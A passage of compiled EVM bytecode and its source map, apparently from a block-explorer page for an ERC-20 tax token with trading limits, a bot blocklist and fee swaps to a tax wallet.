3d601f19601f820116820180604052508101906107e891906117cd565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610841573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086591906117fb565b5050565b6000546001600160a01b031633146108935760405162461bcd60e51b81526004016103b99061165b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016103b99061165b565b601354600160a01b900460ff161561095b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103b9565b6013805462ff00ff60a01b19166201000160a01b179055565b6000610411338484610aa6565b6001600160a01b0383166109e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b9565b6001600160a01b038216610a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b9565b6001600160a01b038216610b6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b9565b60008111610bce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b9565b6000546001600160a01b0384811691161480610bf757506000546001600160a01b038381169116145b15610ca2576001600160a01b038316600090815260016020526040902054610c1f90826110ff565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c4e9082611141565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a999085815260200190565b6001600160a01b03831660009081526004602052604090205460ff16158015610ce457506001600160a01b03821660009081526004602052604090205460ff16155b610ced57600080fd5b601354600160a01b900460ff1680610d1d57506001600160a01b03831660009081526003602052604090205460ff165b610d625760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016103b9565b6000610d6d826111a0565b6013549091506001600160a01b038581169116148015610d9b57506012546001600160a01b03848116911614155b8015610dc057506001600160a01b03831660009081526003602052604090205460ff16155b15610ea857600e54821115610e175760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103b9565b600d5482610e3a856001600160a01b031660009081526001602052604090205490565b610e44919061181d565b1115610e925760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b9565b60108054906000610ea283611830565b91905055505b6013546001600160a01b038481169116148015610ece57506001600160a01b0384163014155b15610eee57601154610eeb9085906001600160a01b0316846111ce565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f2557506013546001600160a01b038581169116145b8015610f3a5750601354600160b01b900460ff165b15610f8157600c5481118015610f535750600b54601054115b15610f7557610f75610f7084610f6b84600f5461127c565b61127c565b611291565b47610f7f8161140b565b505b8115610ffb5730600090815260016020526040902054610fa19083611141565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff29086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461101e90846110ff565b6001600160a01b03861660009081526001602052604090205561106361104484846110ff565b6001600160a01b03861660009081526001602052604090205490611141565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ad86866110ff565b60405190815260200160405180910390a35050505050565b600081848411156110e95760405162461bcd60e51b81526004016103b99190611532565b5060006110f68486611849565b95945050505050565b600061049f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c5565b60008061114e838561181d565b90508381101561049f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b9565b600061041560646111c8600954601054116111bd576005546111c1565b6007545b8590611445565b906114c7565b60006001600160a01b0384163014611272576001600160a01b03841660009081526003602052604090205460ff1661122c5761122560646111c8600a546010541161121b576006546111c1565b6008548590611445565b905061049f565b6001600160a01b03831660009081526001602052604090205461124f9083611141565b6001600160a01b038416600090815260016020526040812091909155905061049f565b5060009392505050565b600081831161128b578261049f565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d9576112d961185c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135691906117b0565b816001815181106113695761136961185c565b6001600160a01b03928316602091820292909201015260125461138f9130911684610981565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c8908590600090869030904290600401611872565b600060405180830381600087803b1580156113e257600080fd5b505af11580156113f6573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610865573d6000803e3d6000fd5b60008260000361145757506000610415565b60006114638385611799565b90508261147085836118e3565b1461049f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b9565b600061049f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115255760405162461bcd60e51b81526004016103b99190611532565b5060006110f684866118e3565b600060208083528351808285015260005b8181101561155f57858101830151858201604001528201611543565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461159557600080fd5b50565b600080604083850312156115ab57600080fd5b82356115b681611580565b946020939093013593505050565b6000806000606084860312156115d957600080fd5b83356115e481611580565b925060208401356115f481611580565b929592945050506040919091013590565b60006020828403121561161757600080fd5b813561049f81611580565b6000806040838503121561163557600080fd5b823561164081611580565b9150602083013561165081611580565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116e15781600019048211156116c7576116c7611690565b808516156116d457918102915b93841c93908002906116ab565b509250929050565b6000826116f857506001610415565b8161170557506000610415565b816001811461171b576002811461172557611741565b6001915050610415565b60ff84111561173657611736611690565b50506001821b610415565b5060208310610133831016604e8410600b8410161715611764575081810a610415565b61176e83836116a6565b806000190482111561178257611782611690565b029392505050565b600061049f60ff8416836116e9565b808202811582820484141761041557610415611690565b6000602082840312156117c257600080fd5b815161049f81611580565b6000806000606084860312156117e257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180d57600080fd5b8151801515811461049f57600080fd5b8082018082111561041557610415611690565b60006001820161184257611842611690565b5060010190565b8181038181111561041557610415611690565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c25784516001600160a01b03168352938301939183019160010161189d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200315b45c5f28eea08bb5f08dbe1fd8e811878aa15940f16bbbd17287c19d9a1a64736f6c63430008130033

Deployed Bytecode Sourcemap

3980:9000:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5749:83;;;;;;;;;;-1:-1:-1;5819:5:0;;;;;;;;;;;;-1:-1:-1;;;5819:5:0;;;;5749:83;;;;;;;:::i;:::-;;;;;;;;7628:184;;;;;;;;;;;;;:::i;:::-;;6637:186;;;;;;;;;;-1:-1:-1;6637:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6637:186:0;1023:187:1;4988:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4988:47:0;1215:177:1;6026:100:0;;;;;;;;;;;;;:::i;4930:51::-;;;;;;;;;;;;;;;;6831:446;;;;;;;;;;-1:-1:-1;6831:446:0;;;;;:::i;:::-;;:::i;11179:920::-;;;;;;;;;;-1:-1:-1;11179:920:0;;;;;:::i;:::-;;:::i;5935:83::-;;;;;;;;;;-1:-1:-1;5935:83:0;;4625:2;2252:36:1;;2240:2;2225:18;5935:83:0;2110:184:1;4871:52:0;;;;;;;;;;;;;;;;6134:119;;;;;;;;;;-1:-1:-1;6134:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6227:18:0;6200:7;6227:18;;;:9;:18;;;;;;;6134:119;2975:148;;;;;;;;;;;;;:::i;4812:52::-;;;;;;;;;;;;;;;;2761:79;;;;;;;;;;-1:-1:-1;2799:7:0;2826:6;2761:79;;-1:-1:-1;;;;;2826:6:0;;;2445:51:1;;2433:2;2418:18;2761:79:0;2299:203:1;5840:87:0;;;;;;;;;;-1:-1:-1;5912:7:0;;;;;;;;;;;;-1:-1:-1;;;5912:7:0;;;;5840:87;;12812:165;;;;;;;;;;;;;:::i;6261:192::-;;;;;;;;;;-1:-1:-1;6261:192:0;;;;;:::i;:::-;;:::i;6461:168::-;;;;;;;;;;-1:-1:-1;6461:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6594:18:0;;;6567:7;6594:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6461:168;7628:184;2888:6;;-1:-1:-1;;;;;2888:6:0;376:10;2888:22;2880:67;;;;-1:-1:-1;;;2880:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;7681:9:0::1;:29:::0;;;7721:10:::1;:30:::0;;;7767:37:::1;::::0;1361:25:1;;;7767:37:0::1;::::0;1349:2:1;1334:18;7767:37:0::1;;;;;;;7628:184::o:0;6637:186::-;6737:4;6754:39;376:10;6777:7;6786:6;6754:8;:39::i;:::-;-1:-1:-1;6811:4:0;6637:186;;;;;:::o;6026:100::-;6079:7;4684:15;4625:2;4684;:15;:::i;:::-;4674:25;;:7;:25;:::i;:::-;6099:19;;6026:100;:::o;6831:446::-;6963:4;6980:36;6990:6;6998:9;7009:6;6980:9;:36::i;:::-;7027:220;7050:6;376:10;7098:138;7154:6;7098:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7098:19:0;;;;;;:11;:19;;;;;;;;376:10;7098:33;;;;;;;;;;:37;:138::i;:::-;7027:8;:220::i;:::-;-1:-1:-1;7265:4:0;6831:446;;;;;;:::o;11179:920::-;2888:6;;-1:-1:-1;;;;;2888:6:0;376:10;2888:22;2880:67;;;;-1:-1:-1;;;2880:67:0;;;;;;;:::i;:::-;11252:11:::1;::::0;-1:-1:-1;;;11252:11:0;::::1;;;11251:12;11243:48;;;::::0;-1:-1:-1;;;11243:48:0;;5151:2:1;11243:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;11243:48:0::1;4949:347:1::0;11243:48:0::1;11302:15;:104:::0;;-1:-1:-1;;;;;;11302:104:0::1;11353:42;11302:104:::0;;::::1;::::0;;11417:63:::1;::::0;11434:4:::1;::::0;11353:42;4684:15:::1;::::0;:2:::1;:15;:::i;:::-;4674:25;::::0;:7:::1;:25;:::i;11417:63::-;11491:9;:27:::0;;-1:-1:-1;;;;;;11491:27:0::1;-1:-1:-1::0;;;;;11491:27:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;11529:29:0;;;:18:::1;:29;::::0;;;;;;;;:36;;-1:-1:-1;;11529:36:0::1;-1:-1:-1::0;11529:36:0::1;::::0;;11610:15:::1;::::0;:25;;-1:-1:-1;;;11610:25:0;;;;:15;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;11529:29;11610:25;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11592:55:0::1;;11674:4;11698:15;;;;;;;;;-1:-1:-1::0;;;;;11698:15:0::1;-1:-1:-1::0;;;;;11698:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11592:143;::::0;-1:-1:-1;;;;;;11592:143:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;11592:143:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;11592:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11576:13;:159:::0;;-1:-1:-1;;;;;11576:159:0;;::::1;-1:-1:-1::0;;;;;;11576:159:0;;::::1;;::::0;;11746:15:::1;::::0;::::1;:31;11785:21;11830:4;11850:24;11830:4:::0;-1:-1:-1;;;;;6227:18:0;6200:7;6227:18;;;:9;:18;;;;;;;6134:119;11850:24:::1;11889:1;11905::::0;11921:7:::1;2799::::0;2826:6;-1:-1:-1;;;;;2826:6:0;;2761:79;11921:7:::1;11746:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11746:223:0;;;-1:-1:-1;;;;;6225:15:1;;;11746:223:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;11943:15:0::1;6439:19:1::0;;;6432:35;6141:19;;11746:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11987:13:0::1;::::0;12032:15:::1;::::0;11980:111:::1;::::0;-1:-1:-1;;;11980:111:0;;-1:-1:-1;;;;;12032:15:0;;::::1;11980:111;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;11987:13:0;::::1;::::0;-1:-1:-1;11980:29:0::1;::::0;6936:18:1;;11980:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11179:920:::0;:::o;2975:148::-;2888:6;;-1:-1:-1;;;;;2888:6:0;376:10;2888:22;2880:67;;;;-1:-1:-1;;;2880:67:0;;;;;;;:::i;:::-;3082:1:::1;3066:6:::0;;3045:40:::1;::::0;-1:-1:-1;;;;;3066:6:0;;::::1;::::0;3045:40:::1;::::0;3082:1;;3045:40:::1;3113:1;3096:19:::0;;-1:-1:-1;;;;;;3096:19:0::1;::::0;;2975:148::o;12812:165::-;2888:6;;-1:-1:-1;;;;;2888:6:0;376:10;2888:22;2880:67;;;;-1:-1:-1;;;2880:67:0;;;;;;;:::i;:::-;12872:11:::1;::::0;-1:-1:-1;;;12872:11:0;::::1;;;12871:12;12863:48;;;::::0;-1:-1:-1;;;12863:48:0;;5151:2:1;12863:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;12863:48:0::1;4949:347:1::0;12863:48:0::1;12922:11;:18:::0;;-1:-1:-1;;;;12951:18:0;-1:-1:-1;;;12951:18:0;;;12812:165::o;6261:192::-;6364:4;6381:42;376:10;6405:9;6416:6;6381:9;:42::i;7285:335::-;-1:-1:-1;;;;;7378:19:0;;7370:68;;;;-1:-1:-1;;;7370:68:0;;7552:2:1;7370:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7370:68:0;7350:400:1;7370:68:0;-1:-1:-1;;;;;7457:21:0;;7449:68;;;;-1:-1:-1;;;7449:68:0;;7957:2:1;7449:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7449:68:0;7755:398:1;7449:68:0;-1:-1:-1;;;;;7528:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7580:32;;1361:25:1;;;7580:32:0;;1334:18:1;7580:32:0;;;;;;;;7285:335;;;:::o;8972:2199::-;-1:-1:-1;;;;;9060:18:0;;9052:68;;;;-1:-1:-1;;;9052:68:0;;8360:2:1;9052:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;9052:68:0;8158:401:1;9052:68:0;-1:-1:-1;;;;;9139:16:0;;9131:64;;;;-1:-1:-1;;;9131:64:0;;8766:2:1;9131:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;9131:64:0;8564:399:1;9131:64:0;9223:1;9214:6;:10;9206:64;;;;-1:-1:-1;;;9206:64:0;;9170:2:1;9206:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;9206:64:0;8968:405:1;9206:64:0;2799:7;2826:6;-1:-1:-1;;;;;9287:15:0;;;2826:6;;9287:15;;:32;;-1:-1:-1;2799:7:0;2826:6;-1:-1:-1;;;;;9306:13:0;;;2826:6;;9306:13;9287:32;9283:233;;;-1:-1:-1;;;;;9354:15:0;;;;;;:9;:15;;;;;;:27;;9374:6;9354:19;:27::i;:::-;-1:-1:-1;;;;;9336:15:0;;;;;;;:9;:15;;;;;;:45;;;;9412:13;;;;;;;:25;;9430:6;9412:17;:25::i;:::-;-1:-1:-1;;;;;9396:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9457:26;;;;;;;;;;9476:6;1361:25:1;;1349:2;1334:18;;1215:177;9283:233:0;-1:-1:-1;;;;;9535:10:0;;;;;;:4;:10;;;;;;;;9534:11;:24;;;;-1:-1:-1;;;;;;9550:8:0;;;;;;:4;:8;;;;;;;;9549:9;9534:24;9526:33;;;;;;9592:11;;-1:-1:-1;;;9592:11:0;;;;;:39;;-1:-1:-1;;;;;;9607:24:0;;;;;;:18;:24;;;;;;;;9592:39;9570:111;;;;-1:-1:-1;;;9570:111:0;;9580:2:1;9570:111:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:52;9700:18;;9570:111:0;9378:346:1;9570:111:0;9692:17;9712:15;9720:6;9712:7;:15::i;:::-;9764:13;;9692:35;;-1:-1:-1;;;;;;9756:21:0;;;9764:13;;9756:21;:68;;;;-1:-1:-1;9808:15:0;;-1:-1:-1;;;;;9794:30:0;;;9808:15;;9794:30;;9756:68;:108;;;;-1:-1:-1;;;;;;9842:22:0;;;;;;:18;:22;;;;;;;;9841:23;9756:108;9738:387;;;9909:9;;9899:6;:19;;9891:57;;;;-1:-1:-1;;;9891:57:0;;9931:2:1;9891:57:0;;;9913:21:1;9970:2;9950:18;;;9943:30;10009:27;9989:18;;;9982:55;10054:18;;9891:57:0;9729:349:1;9891:57:0;10015:10;;10005:6;9989:13;9999:2;-1:-1:-1;;;;;6227:18:0;6200:7;6227:18;;;:9;:18;;;;;;;6134:119;9989:13;:22;;;;:::i;:::-;:36;;9963:124;;;;-1:-1:-1;;;9963:124:0;;10415:2:1;9963:124:0;;;10397:21:1;10454:2;10434:18;;;10427:30;10493:28;10473:18;;;10466:56;10539:18;;9963:124:0;10213:350:1;9963:124:0;10102:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9738:387;10145:13;;-1:-1:-1;;;;;10139:19:0;;;10145:13;;10139:19;:44;;;;-1:-1:-1;;;;;;10162:21:0;;10178:4;10162:21;;10139:44;10135:122;;;10227:9;;10212:33;;10221:4;;-1:-1:-1;;;;;10227:9:0;10238:6;10212:8;:33::i;:::-;10200:45;;10135:122;10316:4;10267:28;6227:18;;;:9;:18;;;;;;10338:6;;-1:-1:-1;;;10338:6:0;;;;10337:7;:30;;;;-1:-1:-1;10354:13:0;;-1:-1:-1;;;;;10348:19:0;;;10354:13;;10348:19;10337:30;:45;;;;-1:-1:-1;10371:11:0;;-1:-1:-1;;;10371:11:0;;;;10337:45;10333:467;;;10444:13;;10421:20;:36;:87;;;;;10490:18;;10478:9;;:30;10421:87;10399:251;;;10541:109;10580:51;10584:6;10592:38;10596:20;10618:11;;10592:3;:38::i;:::-;10580:3;:51::i;:::-;10541:16;:109::i;:::-;10691:21;10759:29;10772:15;10759:12;:29::i;:::-;10384:416;10333:467;10816:13;;10812:172;;10891:4;10873:24;;;;:9;:24;;;;;;:39;;10902:9;10873:28;:39::i;:::-;10864:4;10846:24;;;;:9;:24;;;;;;;:66;;;;10932:40;;-1:-1:-1;;;;;10932:40:0;;;;;;;10962:9;1361:25:1;;1349:2;1334:18;;1215:177;10932:40:0;;;;;;;;10812:172;-1:-1:-1;;;;;11012:15:0;;;;;;:9;:15;;;;;;:27;;11032:6;11012:19;:27::i;:::-;-1:-1:-1;;;;;10994:15:0;;;;;;:9;:15;;;;;:45;11066:40;11084:21;:6;11095:9;11084:10;:21::i;:::-;-1:-1:-1;;;;;11066:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11050:13:0;;;;;;;:9;:13;;;;;:56;;;;11122:41;;;11141:21;:6;11152:9;11141:10;:21::i;:::-;11122:41;;1361:25:1;;;1349:2;1334:18;11122:41:0;;;;;;;9041:2130;;8972:2199;;;:::o;1563:224::-;1683:7;1719:12;1711:6;;;;1703:29;;;;-1:-1:-1;;;1703:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1743:9:0;1755:5;1759:1;1755;:5;:::i;:::-;1743:17;1563:224;-1:-1:-1;;;;;1563:224:0:o;1419:136::-;1477:7;1504:43;1508:1;1511;1504:43;;;;;;;;;;;;;;;;;:3;:43::i;1232:179::-;1290:7;;1322:5;1326:1;1322;:5;:::i;:::-;1310:17;;1351:1;1346;:6;;1338:46;;;;-1:-1:-1;;;1338:46:0;;11043:2:1;1338:46:0;;;11025:21:1;11082:2;11062:18;;;11055:30;11121:29;11101:18;;;11094:57;11168:18;;1338:46:0;10841:351:1;7857:312:0;7913:7;7953:208;8157:3;7953:181;8017:15;;8005:9;;:27;8004:111;;8101:14;;8004:111;;;8061:12;;8004:111;7953:6;;:28;:181::i;:::-;:203;;:208::i;8305:659::-;8417:7;-1:-1:-1;;;;;8456:21:0;;8472:4;8456:21;8437:501;;-1:-1:-1;;;;;8265:24:0;;8241:4;8265:24;;;:18;:24;;;;;;;;8494:352;;8571:259;8826:3;8571:224;8651:16;;8639:9;;:28;8638:130;;8753:15;;8638:130;;;8704:13;;8571:6;;:36;:224::i;:259::-;8543:287;;;;8494:352;-1:-1:-1;;;;;8878:13:0;;;;;;:9;:13;;;;;;:25;;8896:6;8878:17;:25::i;:::-;-1:-1:-1;;;;;8862:13:0;;;;;;:9;:13;;;;;:41;;;;:13;-1:-1:-1;8918:8:0;;8437:501;-1:-1:-1;8955:1:0;8305:659;;;;;:::o;12107:107::-;12164:7;12196:1;12192;:5;12191:15;;12205:1;12191:15;;;-1:-1:-1;12201:1:0;12107:107;-1:-1:-1;12107:107:0:o;12222:483::-;5400:6;:13;;-1:-1:-1;;;;5400:13:0;-1:-1:-1;;;5400:13:0;;;12324:16:::1;::::0;;12338:1:::1;12324:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12324:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12324:16:0::1;12300:40;;12369:4;12351;12356:1;12351:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12351:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12395:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12395:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12351:7;;12395:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12385:4;12390:1;12385:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12385:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12460:15:::1;::::0;12428:62:::1;::::0;12445:4:::1;::::0;12460:15:::1;12478:11:::0;12428:8:::1;:62::i;:::-;12501:15;::::0;:196:::1;::::0;-1:-1:-1;;;12501:196:0;;-1:-1:-1;;;;;12501:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12582:11;;12501:15:::1;::::0;12624:4;;12651::::1;::::0;12671:15:::1;::::0;12501:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5436:6:0;:14;;-1:-1:-1;;;;5436:14:0;;;-1:-1:-1;;;;12222:483:0:o;12713:91::-;12770:9;;:26;;-1:-1:-1;;;;;12770:9:0;;;;:26;;;;;12789:6;;12770:9;:26;:9;:26;12789:6;12770:9;:26;;;;;;;;;;;;;;;;;;;1795:246;1853:7;1877:1;1882;1877:6;1873:47;;-1:-1:-1;1907:1:0;1900:8;;1873:47;1930:9;1942:5;1946:1;1942;:5;:::i;:::-;1930:17;-1:-1:-1;1975:1:0;1966:5;1970:1;1930:17;1966:5;:::i;:::-;:10;1958:56;;;;-1:-1:-1;;;1958:56:0;;12870:2:1;1958:56:0;;;12852:21:1;12909:2;12889:18;;;12882:30;12948:34;12928:18;;;12921:62;-1:-1:-1;;;12999:18:1;;;12992:31;13040:19;;1958:56:0;12668:397:1;2049:132:0;2107:7;2134:39;2138:1;2141;2134:39;;;;;;;;;;;;;;;;;2309:7;2344:12;2337:5;2329:28;;;;-1:-1:-1;;;2329:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2368:9:0;2380:5;2384:1;2380;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:422;3482:1;3525:5;3482:1;3539:270;3560:7;3550:8;3547:21;3539:270;;;3619:4;3615:1;3611:6;3607:17;3601:4;3598:27;3595:53;;;3628:18;;:::i;:::-;3678:7;3668:8;3664:22;3661:55;;;3698:16;;;;3661:55;3777:22;;;;3737:15;;;;3539:270;;;3543:3;3393:422;;;;;:::o;3820:806::-;3869:5;3899:8;3889:80;;-1:-1:-1;3940:1:1;3954:5;;3889:80;3988:4;3978:76;;-1:-1:-1;4025:1:1;4039:5;;3978:76;4070:4;4088:1;4083:59;;;;4156:1;4151:130;;;;4063:218;;4083:59;4113:1;4104:10;;4127:5;;;4151:130;4188:3;4178:8;4175:17;4172:43;;;4195:18;;:::i;:::-;-1:-1:-1;;4251:1:1;4237:16;;4266:5;;4063:218;;4365:2;4355:8;4352:16;4346:3;4340:4;4337:13;4333:36;4327:2;4317:8;4314:16;4309:2;4303:4;4300:12;4296:35;4293:77;4290:159;;;-1:-1:-1;4402:19:1;;;4434:5;;4290:159;4481:34;4506:8;4500:4;4481:34;:::i;:::-;4551:6;4547:1;4543:6;4539:19;4530:7;4527:32;4524:58;;;4562:18;;:::i;:::-;4600:20;;3820:806;-1:-1:-1;;;3820:806:1:o;4631:140::-;4689:5;4718:47;4759:4;4749:8;4745:19;4739:4;4718:47;:::i;4776:168::-;4849:9;;;4880;;4897:15;;;4891: